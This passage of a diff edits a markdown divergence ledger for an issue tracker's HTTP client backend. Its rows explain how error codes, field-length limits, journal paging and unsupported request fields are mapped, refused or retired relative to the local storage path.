D8 row 19 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-release-notclaimed | degrade | — | a release of a row that holds NO CLAIM answers issueops.ErrNotReleasable rather than issueops.ErrNotClaimed; a status that will not accept a release answers ErrNotReleasable as it does everywhere | the role splits the two — ErrNotClaimed for a row nobody holds, ErrNotReleasable for a status the transition is not defined over — and the wire spells BOTH `not_releasable` under one code, with no member telling them apart. That is the server's deliberate choice (internal/httpapi's CodeNotReleasable) rather than an omission, and its detail names both conditions instead of guessing between them. So this client maps to the WIDER of the two, which is the only honest read: reconstructing ErrNotClaimed would assert a fact about the row that the wire never sent, and scraping the detail for it would bind a sentinel to prose. NOTHING ELSE ABOUT THE REFUSAL MOVES — nothing is written, the row and its version are untouched, and the conditional path is unaffected: a caller that named a holder gets ErrAssigneeMismatch on both sides, because that refusal has a code of its own. The caller who loses something is the one that told 'I already released this' from 'the row was never claimed', and the recovery is the one the server's own detail prescribes: READ THE ROW rather than retrying blind. Upstream ask: a code, or a member, that distinguishes the unheld row from the unreleasable status — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-release-notowner | degrade | — | an unforced, unconditional release by an actor that is NOT the holder answers issueops.ErrAlreadyClaimed — carrying *issueops.ClaimConflictError — rather than issueops.ErrNotOwner | the wire answers the ownership fence with `already_claimed`, which is the code updateIssue already gives the same situation (a live foreign owner refusing a write, with a force bypass and a name-the-holder bypass), and this client maps that code to the sentinel every other operation means by it. The two sentinels are distinct values in issueops and neither wraps the other, so the arm a caller writes differs. REPORTING IT AS ErrNotOwner WOULD BE THE WORSE TRADE, not merely a different one: the code is shared with the claim refusals, so a client that special-cased it for this operation would be reading the OPERATION to decide the sentinel rather than the code — and would then answer ErrNotOwner for a genuine already_claimed the day the server reuses the code here for anything else. WHAT SURVIVES IS EVERYTHING A CALLER ACTS ON: the refusal is typed, it names the row (the request supplied the id the wire leaves out), nothing is written, and BOTH bypasses answer exactly as the role says — force releases the foreign claim, and naming the holder in expected_assignee releases it too, because a match replaces the fence. The wire deliberately sends no `assignee` member here, so the holder is not named: absence means 're-read the row', never 'nobody holds it'. Upstream ask: a code, or a member, that separates the release's fence from a claim conflict — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-config-bounds | degrade | — | a setting VALUE past types.MaxTextBytes bytes, and a setting KEY past types.MaxFieldLen characters on the WRITE, are refused with issueops.ErrValidation naming the member; on a local leg the same request reaches the column and fails with the engine's own `too large for column` error, which is no sentinel at all | the bound belongs to the OPERATION rather than to the role: internal/httpapi's settingWriteKey and settingValue check both before the role is called, because a request the caller could have fixed should be a 400 naming the member rather than the 500 a column overflow would otherwise produce. workapi.ValidateSettingWrite — the rule every leg shares — applies no length bound at all, so below the wire the column is the only check there is. MEASURED, not inferred: a 65536-byte value answers `400 invalid_argument: \`value\` is 65536 bytes; storage holds at most 65535` over http and `Error 1105: string ... is too large for column 'value'` on the embedded leg, and a 306-character key splits the same way. Exactly 65535 bytes is accepted on both. THIS CLIENT RESTATES NEITHER BOUND, and that is the decision this row records. They are the SERVER's policy on a value whose shape the role accepted, one release away from moving, so a second copy here would either drift or refuse a request a newer server would take — the same argument L-comment-author makes about the author rule, and the same posture. What travels back is the operation's own 400, which the problem mapper turns into ErrValidation. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS and because the divergence runs in the CALLER'S FAVOR: over http an oversized write is a typed, member-named refusal that wrote nothing, where a local leg hands back a driver error no caller can classify. What a caller loses is nothing; what a caller must not assume is that a value a local workspace stored will store here. THE TWO BOUNDS ARE NOT SYMMETRIC ACROSS THE VERBS, and the asymmetry is the operation's: DELETE checks only that the key names something, so removing a 306-character key succeeds over http exactly as it does locally. Upstream ask: the length rules moving onto the shared validator, which retires this row by making the two legs one | D8 row 11, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-update-fieldlen | degrade | — | an updateIssue patch member past types.MaxFieldLen characters — a label on any of the three label members, `title`, `external_ref` — is refused with issueops.ErrValidation naming the member; on a local leg the same request answers types.ErrFieldTooLong | the bound is applied TWICE and identically: internal/httpapi/update.go checks types.CheckFieldLen at the edge before the role is called, and internal/storage/issueops applies the same function below it. So this is a classification divergence and not a policy one — a value one leg stores the other stores, and a value one leg refuses the other refuses. WHAT COARSENS IT is the spelling: the operation refuses with `invalid_argument` and reason `invalid_value` (internal/httpapi's refuse on the patch member), which is the SAME pair a malformed status, an unparseable timestamp or any other bad value on the same member earns. Nothing on the wire tells them apart, so reconstructing ErrFieldTooLong from the pair would misclassify every other refusal of that member — the argument L-create-prefix makes about the id, on the patch. MEASURED, not inferred: a 256-character label answers `400 invalid_argument: \`add_labels[0]\` is 256 characters; storage holds at most 255` over http and ErrFieldTooLong through the reference store's own Lifecycle role, and exactly 255 characters is accepted on both. THIS CLIENT RESTATES THE BOUND NOWHERE, and the reason differs from L-config-bounds': not that the rule is the server's to move, but that a second copy of a rule two layers already apply is a third place for it to drift. What travels back is the operation's own 400. IT IS A DEGRADE RATHER THAN A REFUSE because the path PROCEEDS and the outcome is identical on both legs — the request fails, the row is untouched, and no truncated value is stored — while the detail names the offending member and its length, which is the recovery a caller needs. What is lost is the errors.Is arm a caller writes to tell 'too long' from 'malformed'. Upstream ask: a `too_long` reason, or a code of its own, which retires this row | D8 row 16, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-events-paging | degrade | — | an UNCAPPED journal read (limit 0) is served as a loop of handler-sized requests rather than one, so its rows and its head no longer come from a single instant; a bounded read is one request and is unaffected | the role imposes no ceiling of its own — journalops.Journal says a limit of 0 means uncapped, because the caller that pages a hundred thousand records out to a file is as legitimate as the one polling for ten — and the OPERATION refuses `limit=0` by value, capping a page at 10000 (internal/httpapi's maxEventsLimit). That cap is the handler's promise to its clients rather than a narrowing of the role, and this client is on the other side of it. SO THE LOOP IS THE ONLY HONEST READING. Refusing an uncapped read would refuse something the role permits; capping one silently at 10000 would answer a partial page beside a head saying there is more, which is a consumer stalling on a gap nobody told it about. Both are worse than N transactions. WHAT SURVIVES IS WHAT A CONSUMER ACTS ON: rows stay contiguous and seq-ascending, because each page continues exactly where the last ended; the head is the LAST page's, so it is the freshest and can only be at or ahead of the last row served; and a truncation on any page is the whole read's failure, never a shorter answer — a loop that returned the prefix it had already gathered would answer a gap with a plausible-looking suffix, which is the one failure a replay feed must never ship. WHAT DOES NOT SURVIVE is atomicity across the whole answer: a mutation committing mid-loop appears in a later page of the SAME call rather than in the next one. A consumer cannot observe that as a gap or a duplicate — it reads as records it would have received on its next poll, arriving early — which is why this is a degrade rather than a refusal. IT IS A DEGRADE RATHER THAN A REFUSE for the ordinary reason too: the path proceeds, and the answer cannot be misread as narrower or wider than the caller asked for. Upstream ask: an unlimited spelling on the operation, or a cursor the page can hand back — either retires this row | D8 (Journal), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | ## Write-side refuse-not-drop (D8) @@ -99,40 +100,46 @@ Role-request fields on the served writes that the v0 wire publishes no member fo | ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | |---|---|---|---|---|---|---| -| W-UpdateRequest.Claim | refuse | `UpdateRequest.Claim` | a claim combined with any other UpdateRequest member refuses; a claim ALONE does not — it dials claimIssue directly (see httpLifecycle.claimOnlyUpdate) | a claim is claimIssue's own operation and updateIssue cannot perform one, on this wire or on any other; it is the one row here that upstream #5484 did not touch. claimIssue's own request is the actor alone, so a claim-only UpdateRequest IS that request and is served through the Claimer role instead of refusing — that is gc's exclusive claim path, `bd update --claim --json`. What still refuses is PATCH claim: a claim folded into one atomic transaction WITH a patch, a guard or a force override, which no operation on this wire publishes and which is not synthesized as two calls (claimIssue then updateIssue), since that would let a caller observe an issue claimed but not yet patched. Upstream gastownhall/beads#6890 tracks the capability that would carry both in one call | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-ClaimRequest.Wisp | refuse | — | claiming a wisp is not supported over http | the v0 wire's claim operation excludes the wisp plane on every backend; claim this issue from a local workspace instead | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ForceAssigneeTransfer | refuse | `UpdateRequest.ForceAssigneeTransfer` `--force` | bypassing the anti-steal assignee fence refuses | the wire publishes `force_assignee_transfer` (upstream #5484) and this client does not send it. What the refusal STANDS ON changed with client wave ga-7i6by and the row is narrower for it: the `assignee` the fence guards IS now sent (W-IssuePatch.Assignee), so what is left is the bypass alone. The fence itself is unbypassable rather than absent — a transfer away from a live foreign in-progress owner refuses with already_claimed, and a matched `expected_assignee` is the OTHER bypass, which this client does send. Carrying this one is a two-member port tracked as ga-2ltro.15 | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ForceClosePolicy | refuse | `UpdateRequest.ForceClosePolicy` `--force` | bypassing close policy on a status-crossing update refuses | the wire publishes `force_close_policy` (upstream #5484) and this client does not send it; see W-UpdateRequest.ForceAssigneeTransfer for what the refusal now stands on, since client wave ga-7i6by sends the `status` whose crossing the policy gates. The policy is therefore enforced and not bypassable here: a status crossing into the done category with open children or a live blocker refuses with not_closable, typed, and writes nothing. Tracked as ga-2ltro.15 | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). The refusal was always the CLIENT's rather than the document's — upstream #5484 published `expected_version` and this client had not been taught to emit it — and the row said so in as many words: 'flipping it is a port, not a decision: send the member, retire this row, and turn the refusal pin into a round-trip pin'. That is what happened. The member is now sent as a POINTER, so absent stays absent: 0 is a legal token (the migration-0054 backfill left rows holding it) and encoding 'no guard' as 0 would have armed a guard on every unguarded update. The pin below asserts the round trip in both directions | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ExpectedAssignee | retired | — | the compare-and-set assignee precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). Its own trap is the mirror image of that one's: the EMPTY assignee is a real guard — it is how a caller says 'only if nobody holds it' — so this member cannot be omitted when it is empty either. A pointer expresses both, and the pin drives the empty-string guard as its own case | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ExpectedStatus | retired | — | the compare-and-set status precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). The status guard is the readable one — `Issue.status` is on every read of this surface, so a caller can guard a transition with no token at all — and it is sent as the workspace's own status vocabulary, verbatim | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.IssuePlaneOnly | refuse | `UpdateRequest.IssuePlaneOnly` | restricting an update to the issue plane refuses | updateIssue publishes no plane restriction and the server's role auto-resolves both planes, so dropping the flag would EDIT the wisp the caller asked to be told did not exist — the widening refuse-not-drop exists to stop. Not in the design's own enumeration: the page lists the UpdateRequest members it had reviewed, and this one was found while wiring the role | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.Provenance | refuse | `UpdateRequest.Provenance` | labeling an update's history entry refuses | updateIssue publishes no provenance member and the server writes its own label, so a dropped Provenance would leave the history entry naming the SERVER's surface while the caller believed it named theirs. It is refused rather than degraded because the field's whole purpose is the label, so dropping it drops the request | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CloseRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a close used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). CloseIssueRequest publishes expected_version (upstream #5506) and this client now emits it, so the guard reaches the server rather than refusing here — and the ordering the role promises, that the precondition is checked BEFORE the idempotent re-close, is the server's to keep and the served tier's to assert | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-ReopenRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a reopen used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf). The design's enumeration named the close half only, and the reopen half is the same field on the same verb pair — it retires the same way | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-DeleteRequest.ExpectedVersion | retired | — | the compare-and-delete row-version precondition used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf), and it is the one whose stakes made the refusal worth having: dropping this guard erases a row the caller had asked not to erase, with nothing left to compare afterwards. The multi-id refusal the wire attaches to it is deliberately NOT anticipated client-side: distinctness is measured after trimming and collapsing duplicates, which is the normalization this role sends its ids verbatim to avoid re-implementing | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-ReopenRequest.Provenance | refuse | `ReopenRequest.Provenance` | labeling a reopen's history entry refuses | reopenIssue publishes no provenance member and the server writes its own fixed label (`bd serve: reopen issue`); see W-UpdateRequest.Provenance | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-AddDependenciesRequest.SkipPerEdgeCycleCheck | refuse | `AddDependenciesRequest.SkipPerEdgeCycleCheck` `--no-cycle-check` | `bd dep add --no-cycle-check` refuses on the bulk --file path | the wire deliberately leaves SkipPerEdgeCycleCheck UNPUBLISHED and therefore false (internal/httpapi/dependency_edit.go). The single-edge spelling forwards false and only gates the post-hoc cycle warning, which the wire-backed CycleDetector serves, so it is served-with-note rather than refused | D7, D8 row 18, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Status | retired | — | `bd update -s` used to refuse | RETIRED with client wave ga-7i6by. IssuePatchBody published `status` with upstream #5484 and this client's encoder now emits it; close and reopen still carry the lifecycle semantics a status write has nowhere to put — the reason and session under first-close-wins, the done-status normalization, the already-closed idempotence flag — and stay the operations to reach for. What this member serves is the status moved ALONGSIDE other fields in one transaction, which is the thing two calls cannot do | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Assignee | retired | — | assignment and unassignment through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). The EMPTY STRING is the half that makes this member more than a rename: it UNASSIGNS, so a client that skipped an empty value would turn a real edit into no edit at all. The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are W-UpdateRequest.ForceAssigneeTransfer and the guard wave's own | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Metadata | retired | — | a metadata patch used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). IssuePatchBody publishes the same replace/merge/set/unset algebra MetadataPatch carries, member for member, so the client projects it rather than translating it and the ordering rule — merge, then set in key order, then unset, with replace refusing beside the other three — stays the ROLE's, applied by the same body a local workspace runs. The CLEAR is the one state the wire's own struct cannot spell (`omitempty` omits it), which is why the document is built as a map and an empty replacement travels as the empty document. The compare-and-set door is a different question and is served by its own accessor (issues.casMetadata, ga-7i6by's other half) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.SpecID | refuse | `IssuePatch.SpecID` | a spec-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes spec_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.AwaitID | refuse | `IssuePatch.AwaitID` | an await-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes await_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Owner | refuse | `IssuePatch.Owner` | an owner edit refuses ON updateIssue | IssuePatchBody excludes owner — which the document itself calls an accident of order rather than a decision, since ApplyPatchBody DOES publish it and issues:batchApply's update item carries it (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.ClosedBySession | refuse | `IssuePatch.ClosedBySession` | a closed-by-session edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes closed_by_session (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Persistence | refuse | `IssuePatch.Persistence` | a persistence-mode edit refuses | neither body publishes persistence: moving a row between planes mid-plan is a different act from writing its fields (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.ParentID | retired | — | a parent re-hang through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). It is ONE call rather than a remove-then-add pair, which is the whole reason the member exists: the two-call spelling leaves the issue parentless if the second call fails, and dependencies:add/remove — still the general write side of the graph over this wire — cannot express the atomic replacement. The empty string removes every parent-child edge, so it travels like `assignee`'s empty string rather than being skipped. The graph refusals it earns are the server's and arrive typed: a cycle through the issue's own descendant as the PLAIN dependency_cycle, and an existing edge of another type as dependency_exists | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateBatchRequest.Provenance | refuse | `CreateBatchRequest.Provenance` | labeling a batch create's history entry refuses | batchCreateIssues publishes actor and items only, and the server writes its own label; see W-UpdateRequest.Provenance. It is the one Provenance whose ABSENCE is visible in shipped history — the surface this role serves has always named its source file in the entry (`bd: create 3 issue(s) from plan.md`) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateBatchRequest.ForceIDPrefix | refuse | `CreateBatchRequest.ForceIDPrefix` `--force` | permitting explicit ids outside the workspace's configured prefix refuses | the wire publishes no such member — and could not honor one, since it publishes no explicit id for the flag to permit (W-BatchCreateItem.Issue). Dropping it would answer a request about WHERE ids may be written with a batch whose ids the server chose | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-BatchCreateItem.Issue | refuse | `BatchCreateItem.Issue` | an item whose Issue populates any member outside the wire's eight refuses, naming the member | apigen.BatchCreateItem carries title, description, design, acceptance_criteria, priority, issue_type, assignee and labels and nothing else, while the role accepts far more of a types.Issue: an explicit id, the wisp flags, metadata, the storage class, every timestamp, the gate/molecule/event fields. ONE row rather than one per member because the reason is one reason — the wire's item vocabulary — and forty rows repeating it would say nothing a reader does not learn here. Exhaustiveness is held by REFLECTION instead: the client's carried and role-ignored tables are checked against types.Issue field by field, so a member added upstream is refused the day it lands rather than dropped until someone notices. The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateDependency.Reverse | refuse | `CreateDependency.Reverse` | an edge written from the target back to the new issue refuses ON A BATCH CREATE | BatchCreateDependency carries target_id and type only; dropping Reverse would write the edge in the OPPOSITE direction from the one asked for, which is a different graph. createIssue's CreateIssueDependency DOES publish it, and the single-create path sends it (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateDependency.Metadata | refuse | `CreateDependency.Metadata` | typed edge metadata refuses ON A BATCH CREATE | BatchCreateDependency publishes no metadata member, and a waits-for gate whose metadata was dropped is a readiness rule that silently does not hold. createIssue's edge publishes it, and the single-create path sends it verbatim (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateDependency.ThreadID | refuse | `CreateDependency.ThreadID` | associating an edge with a discussion thread refuses | neither BatchCreateDependency nor CreateIssueDependency publishes a thread member (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateRequest.IDPrefix | refuse | `CreateRequest.IDPrefix` | overriding the prefix an explicit id is checked against refuses | createIssue publishes no `id_prefix`, and the omission is the SERVER's decision rather than a gap (internal/httpapi/create.go): the field exists because a workspace's own config.yaml prefix wins over the database's and only a local front door can read that file, so a remote caller's config.yaml describes a workspace this server does not serve. Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id' | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateRequest.Issue | refuse | `CreateRequest.Issue` | a create whose Issue populates any member outside the wire's twenty refuses, naming the member | createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation stamp (created_at, created_by), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateItem.Issue | refuse | `CreateItem.Issue` | a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member | ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-ApplyPatch.ParentID | refuse | `IssuePatch.ParentID` | a parent re-hang inside an update ITEM refuses, where the same member serves on updateIssue | ApplyPatchBody deliberately publishes no parent_id, and the absence is this operation's ONE-EDGE-ONE-SPELLING rule rather than a gap: a parent is a dep_add item of type parent-child, so the ORDER of every edge in a plan stays total and there is exactly one place an edge is written. The single patch has no ordering to express and publishes the member directly (W-IssuePatch.ParentID, retired by client wave ga-7i6by), which is why the same Go field is carried by one document and refused by the other. Refusing is not a loss of capability, only of spelling: a plan re-hangs a parent with a dep_add item, which is the atomic replacement in the position the caller declared it | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.Claim | retired | `UpdateRequest.Claim` | a claim combined with a patch, a guard or a force override used to refuse | RETIRED by the #7247 review port. The refusal stood on 'updateIssue cannot perform a claim, on this wire or on any other' — and upstream gastownhall/beads#6890, the capability the row itself named, had already published `claim` on updateIssue: the claim and the patch applied by the same role in one transaction, so PATCH claim was the server's shape and only this client's refusal. The body now sends `claim` as a pointer set true only on request, so a claim alone, a claim with a patch and a claim with a version guard are each ONE updateIssue call, answered with the post-write `revision` like every other update. The claimIssue route survives as the fallback for a claim ALONE against a server that predates the member, which refuses it as an unknown parameter before any database work; a combination against such a server returns that skew refusal rather than splitting into two calls | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-ClaimRequest.Wisp | refuse | — | claiming a wisp is not supported by this bd serve | the server predates claiming through its update operation, and its separate claim operation excludes the wisp plane; upgrade bd serve, or claim this issue from a local workspace | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ForceAssigneeTransfer | retired | `UpdateRequest.ForceAssigneeTransfer` `--force` | bypassing the anti-steal assignee fence used to refuse | RETIRED by the #7247 review port, the two-member port ga-2ltro.15 named. The wire publishes `force_assignee_transfer` (upstream #5484) and the refusal was always this 